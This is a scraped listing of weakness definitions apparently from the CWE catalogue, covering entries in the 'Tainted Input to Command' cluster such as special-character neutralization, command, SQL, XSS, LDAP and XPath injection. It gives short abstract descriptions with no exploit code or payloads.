888 (Software Fault Pattern (SFP) Clusters) > 896 (SFP Primary Cluster: Tainted Input) > 990 (SFP Secondary Cluster: Tainted Input to Command) > 153 (Improper Neutralization of Substitution Characters)
The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as substitution characters when they are sent to a downstream component.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Improper Neutralization of Variable Name Delimiters - (154)
888 (Software Fault Pattern (SFP) Clusters) > 896 (SFP Primary Cluster: Tainted Input) > 990 (SFP Secondary Cluster: Tainted Input to Command) > 154 (Improper Neutralization of Variable Name Delimiters)
The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as variable name delimiters when they are sent to a downstream component.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Improper Neutralization of Wildcards or Matching Symbols - (155)
888 (Software Fault Pattern (SFP) Clusters) > 896 (SFP Primary Cluster: Tainted Input) > 990 (SFP Secondary Cluster: Tainted Input to Command) > 155 (Improper Neutralization of Wildcards or Matching Symbols)
The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as wildcards or matching symbols when they are sent to a downstream component.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Improper Neutralization of Whitespace - (156)
888 (Software Fault Pattern (SFP) Clusters) > 896 (SFP Primary Cluster: Tainted Input) > 990 (SFP Secondary Cluster: Tainted Input to Command) > 156 (Improper Neutralization of Whitespace)
The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as whitespace when they are sent to a downstream component.White space
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Failure to Sanitize Paired Delimiters - (157)
888 (Software Fault Pattern (SFP) Clusters) > 896 (SFP Primary Cluster: Tainted Input) > 990 (SFP Secondary Cluster: Tainted Input to Command) > 157 (Failure to Sanitize Paired Delimiters)
The product does not properly handle the characters that are used to mark the beginning and ending of a group of entities, such as parentheses, brackets, and braces.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Improper Neutralization of Null Byte or NUL Character - (158)
888 (Software Fault Pattern (SFP) Clusters) > 896 (SFP Primary Cluster: Tainted Input) > 990 (SFP Secondary Cluster: Tainted Input to Command) > 158 (Improper Neutralization of Null Byte or NUL Character)
The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes NUL characters or null bytes when they are sent to a downstream component.
*ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.Improper Handling of Invalid Use of Special Elements - (159)
888 (Software Fault Pattern (SFP) Clusters) > 896 (SFP Primary Cluster: Tainted Input) > 990 (SFP Secondary Cluster: Tainted Input to Command) > 159 (Improper Handling of Invalid Use of Special Elements)
The product does not properly filter, remove, quote, or otherwise manage the invalid use of special elements in user-controlled input, which could cause adverse effect on its behavior and integrity.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Improper Neutralization of Leading Special Elements - (160)
888 (Software Fault Pattern (SFP) Clusters) > 896 (SFP Primary Cluster: Tainted Input) > 990 (SFP Secondary Cluster: Tainted Input to Command) > 160 (Improper Neutralization of Leading Special Elements)
The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes leading special elements that could be interpreted in unexpected ways when they are sent to a downstream component.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Improper Neutralization of Multiple Leading Special Elements - (161)
888 (Software Fault Pattern (SFP) Clusters) > 896 (SFP Primary Cluster: Tainted Input) > 990 (SFP Secondary Cluster: Tainted Input to Command) > 161 (Improper Neutralization of Multiple Leading Special Elements)
The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes multiple leading special elements that could be interpreted in unexpected ways when they are sent to a downstream component.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Improper Neutralization of Trailing Special Elements - (162)
888 (Software Fault Pattern (SFP) Clusters) > 896 (SFP Primary Cluster: Tainted Input) > 990 (SFP Secondary Cluster: Tainted Input to Command) > 162 (Improper Neutralization of Trailing Special Elements)
The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes trailing special elements that could be interpreted in unexpected ways when they are sent to a downstream component.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Improper Neutralization of Multiple Trailing Special Elements - (163)
888 (Software Fault Pattern (SFP) Clusters) > 896 (SFP Primary Cluster: Tainted Input) > 990 (SFP Secondary Cluster: Tainted Input to Command) > 163 (Improper Neutralization of Multiple Trailing Special Elements)
The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes multiple trailing special elements that could be interpreted in unexpected ways when they are sent to a downstream component.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Improper Neutralization of Internal Special Elements - (164)
888 (Software Fault Pattern (SFP) Clusters) > 896 (SFP Primary Cluster: Tainted Input) > 990 (SFP Secondary Cluster: Tainted Input to Command) > 164 (Improper Neutralization of Internal Special Elements)
The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes internal special elements that could be interpreted in unexpected ways when they are sent to a downstream component.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Improper Neutralization of Multiple Internal Special Elements - (165)
888 (Software Fault Pattern (SFP) Clusters) > 896 (SFP Primary Cluster: Tainted Input) > 990 (SFP Secondary Cluster: Tainted Input to Command) > 165 (Improper Neutralization of Multiple Internal Special Elements)
The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes multiple internal special elements that could be interpreted in unexpected ways when they are sent to a downstream component.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Permissive List of Allowed Inputs - (183)
888 (Software Fault Pattern (SFP) Clusters) > 896 (SFP Primary Cluster: Tainted Input) > 990 (SFP Secondary Cluster: Tainted Input to Command) > 183 (Permissive List of Allowed Inputs)
The product implements a protection mechanism that relies on a list of inputs (or properties of inputs) that are explicitly allowed by policy because the inputs are assumed to be safe, but the list is too permissive - that is, it allows an input that is unsafe, leading to resultant weaknesses.Allowlist / Allow ListSafelist / Safe ListWhitelist / White List
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Incomplete List of Disallowed Inputs - (184)
888 (Software Fault Pattern (SFP) Clusters) > 896 (SFP Primary Cluster: Tainted Input) > 990 (SFP Secondary Cluster: Tainted Input to Command) > 184 (Incomplete List of Disallowed Inputs)
The product implements a protection mechanism that relies on a list of inputs (or properties of inputs) that are not allowed by policy or otherwise require other action to neutralize before additional processing takes place, but the list is incomplete, leading to resultant weaknesses.Denylist / Deny ListBlocklist / Block ListBlacklist / Black List
*ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.Incorrect Regular Expression - (185)
888 (Software Fault Pattern (SFP) Clusters) > 896 (SFP Primary Cluster: Tainted Input) > 990 (SFP Secondary Cluster: Tainted Input to Command) > 185 (Incorrect Regular Expression)
The product specifies a regular expression in a way that causes data to be improperly matched or compared.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Overly Restrictive Regular Expression - (186)
888 (Software Fault Pattern (SFP) Clusters) > 896 (SFP Primary Cluster: Tainted Input) > 990 (SFP Secondary Cluster: Tainted Input to Command) > 186 (Overly Restrictive Regular Expression)
A regular expression is overly restrictive, which prevents dangerous values from being detected.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') - (444)
888 (Software Fault Pattern (SFP) Clusters) > 896 (SFP Primary Cluster: Tainted Input) > 990 (SFP Secondary Cluster: Tainted Input to Command) > 444 (Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling'))
The product acts as an intermediary HTTP agent (such as a proxy or firewall) in the data flow between two entities such as a client and server, but it does not interpret malformed HTTP requests or responses in ways that are consistent with how the messages will be processed by those entities that are at the ultimate destination.HTTP Request SmugglingHTTP Response SmugglingHTTP Smuggling
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Command Shell in Externally Accessible Directory - (553)
888 (Software Fault Pattern (SFP) Clusters) > 896 (SFP Primary Cluster: Tainted Input) > 990 (SFP Secondary Cluster: Tainted Input to Command) > 553 (Command Shell in Externally Accessible Directory)
A possible shell file exists in /cgi-bin/ or other accessible directories. This is extremely dangerous and can be used by an attacker to execute commands on the web server.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.ASP.NET Misconfiguration: Not Using Input Validation Framework - (554)
888 (Software Fault Pattern (SFP) Clusters) > 896 (SFP Primary Cluster: Tainted Input) > 990 (SFP Secondary Cluster: Tainted Input to Command) > 554 (ASP.NET Misconfiguration: Not Using Input Validation Framework)
The ASP.NET application does not use an input validation framework.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.SQL Injection: Hibernate - (564)
888 (Software Fault Pattern (SFP) Clusters) > 896 (SFP Primary Cluster: Tainted Input) > 990 (SFP Secondary Cluster: Tainted Input to Command) > 564 (SQL Injection: Hibernate)
Using Hibernate to execute a dynamic SQL statement built with user-controlled input can allow an attacker to modify the statement's meaning or to execute arbitrary SQL commands.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.URL Redirection to Untrusted Site ('Open Redirect') - (601)
888 (Software Fault Pattern (SFP) Clusters) > 896 (SFP Primary Cluster: Tainted Input) > 990 (SFP Secondary Cluster: Tainted Input to Command) > 601 (URL Redirection to Untrusted Site ('Open Redirect'))
A web application accepts a user-controlled input that specifies a link to an external site, and uses that link in a Redirect. This simplifies phishing attacks.Open RedirectCross-site RedirectCross-domain Redirect
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Improper Restriction of XML External Entity Reference - (611)
888 (Software Fault Pattern (SFP) Clusters) > 896 (SFP Primary Cluster: Tainted Input) > 990 (SFP Secondary Cluster: Tainted Input to Command) > 611 (Improper Restriction of XML External Entity Reference)
The product processes an XML document that can contain XML entities with URIs that resolve to documents outside of the intended sphere of control, causing the product to embed incorrect documents into its output.XXE
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Dangling Database Cursor ('Cursor Injection') - (619)
888 (Software Fault Pattern (SFP) Clusters) > 896 (SFP Primary Cluster: Tainted Input) > 990 (SFP Secondary Cluster: Tainted Input to Command) > 619 (Dangling Database Cursor ('Cursor Injection'))
If a database cursor is not closed properly, then it could become accessible to other users while retaining the same privileges that were originally assigned, leaving the cursor "dangling."
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Variable Extraction Error - (621)
888 (Software Fault Pattern (SFP) Clusters) > 896 (SFP Primary Cluster: Tainted Input) > 990 (SFP Secondary Cluster: Tainted Input to Command) > 621 (Variable Extraction Error)
The product uses external input to determine the names of variables into which information is extracted, without verifying that the names of the specified variables are valid. This could cause the program to overwrite unintended variables.Variable overwrite
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Executable Regular Expression Error - (624)
888 (Software Fault Pattern (SFP) Clusters) > 896 (SFP Primary Cluster: Tainted Input) > 990 (SFP Secondary Cluster: Tainted Input to Command) > 624 (Executable Regular Expression Error)
The product uses a regular expression that either (1) contains an executable component with user-controlled inputs, or (2) allows a user to enable execution by inserting pattern modifiers.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Permissive Regular Expression - (625)
888 (Software Fault Pattern (SFP) Clusters) > 896 (SFP Primary Cluster: Tainted Input) > 990 (SFP Secondary Cluster: Tainted Input to Command) > 625 (Permissive Regular Expression)
The product uses a regular expression that does not sufficiently restrict the set of allowed values.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Null Byte Interaction Error (Poison Null Byte) - (626)
888 (Software Fault Pattern (SFP) Clusters) > 896 (SFP Primary Cluster: Tainted Input) > 990 (SFP Secondary Cluster: Tainted Input to Command) > 626 (Null Byte Interaction Error (Poison Null Byte))
The product does not properly handle null bytes or NUL characters when passing data between different representations or components.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Dynamic Variable Evaluation - (627)
888 (Software Fault Pattern (SFP) Clusters) > 896 (SFP Primary Cluster: Tainted Input) > 990 (SFP Secondary Cluster: Tainted Input to Command) > 627 (Dynamic Variable Evaluation)
In a language where the user can influence the name of a variable at runtime, if the variable names are not controlled, an attacker can read or write to arbitrary variables, or access arbitrary functions.Dynamic evaluation
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Improper Restriction of Names for Files and Other Resources - (641)
888 (Software Fault Pattern (SFP) Clusters) > 896 (SFP Primary Cluster: Tainted Input) > 990 (SFP Secondary Cluster: Tainted Input to Command) > 641 (Improper Restriction of Names for Files and Other Resources)
The product constructs the name of a file or other resource using input from an upstream component, but it does not restrict or incorrectly restricts the resulting name.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Improper Neutralization of Data within XPath Expressions ('XPath Injection') - (643)
888 (Software Fault Pattern (SFP) Clusters) > 896 (SFP Primary Cluster: Tainted Input) > 990 (SFP Secondary Cluster: Tainted Input to Command) > 643 (Improper Neutralization of Data within XPath Expressions ('XPath Injection'))
The product uses external input to dynamically construct an XPath expression used to retrieve data from an XML database, but it does not neutralize or incorrectly neutralizes that input. This allows an attacker to control the structure of the query.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Improper Neutralization of HTTP Headers for Scripting Syntax - (644)
888 (Software Fault Pattern (SFP) Clusters) > 896 (SFP Primary Cluster: Tainted Input) > 990 (SFP Secondary Cluster: Tainted Input to Command) > 644 (Improper Neutralization of HTTP Headers for Scripting Syntax)
The product does not neutralize or incorrectly neutralizes web scripting syntax in HTTP headers that can be used by web browser components that can process raw headers, such as Flash.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Reliance on File Name or Extension of Externally-Supplied File - (646)
888 (Software Fault Pattern (SFP) Clusters) > 896 (SFP Primary Cluster: Tainted Input) > 990 (SFP Secondary Cluster: Tainted Input to Command) > 646 (Reliance on File Name or Extension of Externally-Supplied File)
The product allows a file to be uploaded, but it relies on the file name or extension of the file to determine the appropriate behaviors. This could be used by attackers to cause the file to be misclassified and processed in a dangerous fashion.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Improper Neutralization of Data within XQuery Expressions ('XQuery Injection') - (652)
888 (Software Fault Pattern (SFP) Clusters) > 896 (SFP Primary Cluster: Tainted Input) > 990 (SFP Secondary Cluster: Tainted Input to Command) > 652 (Improper Neutralization of Data within XQuery Expressions ('XQuery Injection'))
The product uses external input to dynamically construct an XQuery expression used to retrieve data from an XML database, but it does not neutralize or incorrectly neutralizes that input. This allows an attacker to control the structure of the query.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Function Call With Incorrectly Specified Argument Value - (687)
888 (Software Fault Pattern (SFP) Clusters) > 896 (SFP Primary Cluster: Tainted Input) > 990 (SFP Secondary Cluster: Tainted Input to Command) > 687 (Function Call With Incorrectly Specified Argument Value)
The product calls a function, procedure, or routine, but the caller specifies an argument that contains the wrong value, which may lead to resultant weaknesses.
*PillarPillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.Improper Neutralization - (707)
888 (Software Fault Pattern (SFP) Clusters) > 896 (SFP Primary Cluster: Tainted Input) > 990 (SFP Secondary Cluster: Tainted Input to Command) > 707 (Improper Neutralization)
The product does not ensure or incorrectly ensures that structured messages or data are well-formed and that certain security properties are met before being read from an upstream component or sent to a downstream component.
*ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') - (74)
888 (Software Fault Pattern (SFP) Clusters) > 896 (SFP Primary Cluster: Tainted Input) > 990 (SFP Secondary Cluster: Tainted Input to Command) > 74 (Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection'))
The product constructs all or part of a command, data structure, or record using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify how it is parsed or interpreted when it is sent to a downstream component.
*ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.Failure to Sanitize Special Elements into a Different Plane (Special Element Injection) - (75)
888 (Software Fault Pattern (SFP) Clusters) > 896 (SFP Primary Cluster: Tainted Input) > 990 (SFP Secondary Cluster: Tainted Input to Command) > 75 (Failure to Sanitize Special Elements into a Different Plane (Special Element Injection))
The product does not adequately filter user-controlled input for special elements with control implications.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Improper Neutralization of Equivalent Special Elements - (76)
888 (Software Fault Pattern (SFP) Clusters) > 896 (SFP Primary Cluster: Tainted Input) > 990 (SFP Secondary Cluster: Tainted Input to Command) > 76 (Improper Neutralization of Equivalent Special Elements)
The product correctly neutralizes certain special elements, but it improperly neutralizes equivalent special elements.
*ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.Improper Neutralization of Special Elements used in a Command ('Command Injection') - (77)
888 (Software Fault Pattern (SFP) Clusters) > 896 (SFP Primary Cluster: Tainted Input) > 990 (SFP Secondary Cluster: Tainted Input to Command) > 77 (Improper Neutralization of Special Elements used in a Command ('Command Injection'))
The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') - (78)
888 (Software Fault Pattern (SFP) Clusters) > 896 (SFP Primary Cluster: Tainted Input) > 990 (SFP Secondary Cluster: Tainted Input to Command) > 78 (Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'))
The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.Shell injectionShell metacharacters
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') - (79)
888 (Software Fault Pattern (SFP) Clusters) > 896 (SFP Primary Cluster: Tainted Input) > 990 (SFP Secondary Cluster: Tainted Input to Command) > 79 (Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'))
The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.XSSHTML InjectionCSS
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS) - (80)
888 (Software Fault Pattern (SFP) Clusters) > 896 (SFP Primary Cluster: Tainted Input) > 990 (SFP Secondary Cluster: Tainted Input to Command) > 80 (Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS))
The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special characters such as "<", ">", and "&" that could be interpreted as web-scripting elements when they are sent to a downstream component that processes web pages.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Improper Neutralization of Script in an Error Message Web Page - (81)
888 (Software Fault Pattern (SFP) Clusters) > 896 (SFP Primary Cluster: Tainted Input) > 990 (SFP Secondary Cluster: Tainted Input to Command) > 81 (Improper Neutralization of Script in an Error Message Web Page)
The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special characters that could be interpreted as web-scripting elements when they are sent to an error page.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Improper Neutralization of Script in Attributes of IMG Tags in a Web Page - (82)
888 (Software Fault Pattern (SFP) Clusters) > 896 (SFP Primary Cluster: Tainted Input) > 990 (SFP Secondary Cluster: Tainted Input to Command) > 82 (Improper Neutralization of Script in Attributes of IMG Tags in a Web Page)
The web application does not neutralize or incorrectly neutralizes scripting elements within attributes of HTML IMG tags, such as the src attribute.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Improper Neutralization of Script in Attributes in a Web Page - (83)
888 (Software Fault Pattern (SFP) Clusters) > 896 (SFP Primary Cluster: Tainted Input) > 990 (SFP Secondary Cluster: Tainted Input to Command) > 83 (Improper Neutralization of Script in Attributes in a Web Page)
The product does not neutralize or incorrectly neutralizes "javascript:" or other URIs from dangerous attributes within tags, such as onmouseover, onload, onerror, or style.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Improper Neutralization of Encoded URI Schemes in a Web Page - (84)
888 (Software Fault Pattern (SFP) Clusters) > 896 (SFP Primary Cluster: Tainted Input) > 990 (SFP Secondary Cluster: Tainted Input to Command) > 84 (Improper Neutralization of Encoded URI Schemes in a Web Page)
The web application improperly neutralizes user-controlled input for executable script disguised with URI encodings.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Doubled Character XSS Manipulations - (85)
888 (Software Fault Pattern (SFP) Clusters) > 896 (SFP Primary Cluster: Tainted Input) > 990 (SFP Secondary Cluster: Tainted Input to Command) > 85 (Doubled Character XSS Manipulations)
The web application does not filter user-controlled input for executable script disguised using doubling of the involved characters.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Improper Neutralization of Invalid Characters in Identifiers in Web Pages - (86)
888 (Software Fault Pattern (SFP) Clusters) > 896 (SFP Primary Cluster: Tainted Input) > 990 (SFP Secondary Cluster: Tainted Input to Command) > 86 (Improper Neutralization of Invalid Characters in Identifiers in Web Pages)
The product does not neutralize or incorrectly neutralizes invalid characters or byte sequences in the middle of tag names, URI schemes, and other identifiers.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Improper Neutralization of Alternate XSS Syntax - (87)
888 (Software Fault Pattern (SFP) Clusters) > 896 (SFP Primary Cluster: Tainted Input) > 990 (SFP Secondary Cluster: Tainted Input to Command) > 87 (Improper Neutralization of Alternate XSS Syntax)
The product does not neutralize or incorrectly neutralizes user-controlled input for alternate script syntax.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Improper Neutralization of Argument Delimiters in a Command ('Argument Injection') - (88)
888 (Software Fault Pattern (SFP) Clusters) > 896 (SFP Primary Cluster: Tainted Input) > 990 (SFP Secondary Cluster: Tainted Input to Command) > 88 (Improper Neutralization of Argument Delimiters in a Command ('Argument Injection'))
The product constructs a string for a command to be executed by a separate component in another control sphere, but it does not properly delimit the intended arguments, options, or switches within that command string.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') - (89)
888 (Software Fault Pattern (SFP) Clusters) > 896 (SFP Primary Cluster: Tainted Input) > 990 (SFP Secondary Cluster: Tainted Input to Command) > 89 (Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection'))
The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection') - (90)
888 (Software Fault Pattern (SFP) Clusters) > 896 (SFP Primary Cluster: Tainted Input) > 990 (SFP Secondary Cluster: Tainted Input to Command) > 90 (Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection'))
The product constructs all or part of an LDAP query using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended LDAP query when it is sent to a downstream component.
